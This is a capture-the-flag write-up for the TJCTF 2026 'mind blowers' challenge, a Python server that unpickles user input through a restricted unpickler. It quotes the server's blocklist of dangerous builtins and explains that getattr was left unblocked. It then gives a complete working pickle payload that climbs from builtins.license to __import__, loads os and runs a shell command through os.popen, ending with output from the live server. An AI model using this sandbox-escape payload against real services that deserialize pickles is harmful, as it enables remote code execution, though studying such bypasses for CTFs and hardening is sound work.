mind blowers
mind blowers
Platform: TJCTF 2026 | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-15 | Status: Solved Techniques: builtins_blocklist_evasion, dict_get_method_for_key_access_in_pickle, object_graph_traversal_license_class_init_globals, restricted_pickle_bypass_via_getattr
Summary
Task: Python pickle deserialization server with RestrictedUnpickler that whitelists builtins module and blocklists dangerous names (eval, exec, import, open). Solution: getattr is not blocked — chain through license.class.init.globals to recover import, import os, and execute commands via os.popen.
mind blowers — TJCTF 2026
Description
Rick has open sourced his mind blowers program! Now you can upload your own mind blowers and view them! Don't upload any malicious mind blowers!
Connection: nc tjc.tf 31422 Source file: server.py
A Python server accepts base64-encoded pickle data and deserializes it using a RestrictedUnpickler. The goal is to bypass the restrictions and achieve remote code execution to read the flag.
Analysis
RestrictedUnpickler
The server implements a custom RestrictedUnpickler with two layers of defense:
- Module whitelist: Only
builtinsmodule is allowed — any other module infind_classraises an error - Name blocklist: Specific dangerous builtins are blocked:
python read-only • copy allowed
BLOCKED_NAMES = { "eval", "exec", "compile", "__import__", "open", "breakpoint", "input", "exit", "quit", }
python read-only • copy allowedclass RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module != "builtins": raise pickle.UnpicklingError("banned") if name in BLOCKED_NAMES: raise pickle.UnpicklingError("blocked") return super().find_class(module, name)
Critical Oversight: getattr is Not Blocked
The blocklist only covers 9 names. Crucially, getattr is not among them. This is the key vulnerability because:
- The blocklist only applies to pickle's
find_classmethod, which is invoked byGLOBAL/STACK_GLOBALopcodes during deserialization - Once we have
builtins.getattras a callable, we can use pickle'sREDUCEopcode to call it at runtime - Runtime
getattrcalls do not go throughfind_class— they are normal Python attribute lookups - This means we can access
__import__viagetattreven though it's blocked infind_class
Object Graph Traversal Chain
Starting from builtins.license (a _sitebuiltins._Printer instance available in the builtins namespace), we can traverse the Python object graph to reach __import__:
builtins.license → _sitebuiltins._Printer instance
.__class__ → _sitebuiltins._Printer class
.__init__ → Python function (has __globals__)
.__globals__ → module globals dict
.get("__builtins__") → builtins dict (the real one)
.get("__import__") → __import__ function (unrestricted!)
The reason license works as an entry point is that it's a Python-level object (not a C builtin), so its __init__ method has __globals__ — unlike C-implemented builtins like print or len whose methods don't expose __globals__.
Solution
Pickle Payload Construction
The payload uses only two GLOBAL references that pass the filter: builtins.getattr and builtins.license. Everything else is achieved through REDUCE (function call) opcodes chaining getattr calls:
python read-only • copy allowed#!/usr/bin/env python3 import pickle import io import base64 def build_payload(cmd="cat /flag*"): p = b'' # Step 1: cls = getattr(license, "__class__") → _sitebuiltins._Printer p += b'cbuiltins\ngetattr\n(cbuiltins\nlicense\nS"__class__"\ntR' # Step 2: init = getattr(cls, "__init__") → bound method with __globals__ p += b'p0\ncbuiltins\ngetattr\n(g0\nS"__init__"\ntR' # Step 3: globs = getattr(init, "__globals__") → module globals dict p += b'p1\ncbuiltins\ngetattr\n(g1\nS"__globals__"\ntR' # Step 4: get = getattr(globs, "get"); builtins = get("__builtins__") p += b'p2\ncbuiltins\ngetattr\n(g2\nS"get"\ntR(S"__builtins__"\ntR' # Step 5: get = getattr(builtins, "get"); imp = get("__import__") p += b'p3\ncbuiltins\ngetattr\n(g3\nS"get"\ntR(S"__import__"\ntR' # Step 6: os = __import__("os") p += b'p4\n(S"os"\ntR' # Step 7: popen = getattr(os, "popen"); f = popen(cmd) p += b'p5\ncbuiltins\ngetattr\n(g5\nS"popen"\ntR(S"' + cmd.encode() + b'"\ntR' # Step 8: read = getattr(f, "read"); result = read() p += b'p6\ncbuiltins\ngetattr\n(g6\nS"read"\ntR(tR' # Stop p += b'.' return p payload = build_payload() encoded = base64.b64encode(payload).decode() print(encoded) # Verify locally result = pickle.loads(payload) print(f"Result: {result}")
Pickle Opcode Breakdown
| Opcode | Meaning | Effect |
|---|---|---|
c | GLOBAL | Push builtins.getattr or builtins.license |
( | MARK | Start tuple for function arguments |
S"..." | STRING | Push a string literal |
t | TUPLE | Build tuple from mark to here |
R | REDUCE | Call function with args tuple |
p0 | PUT | Store result in memo slot 0 |
g0 | GET | Retrieve from memo slot 0 |
. | STOP | End of pickle stream |
Execution
$ python3 solve.py | nc tjc.tf 31422
=== Rick's Mind Blower Server v3 ===
Only safe memories allowed now!!!!
Upload a memory (base64 encoded) > Here is your memory: tjctf{REDACTED}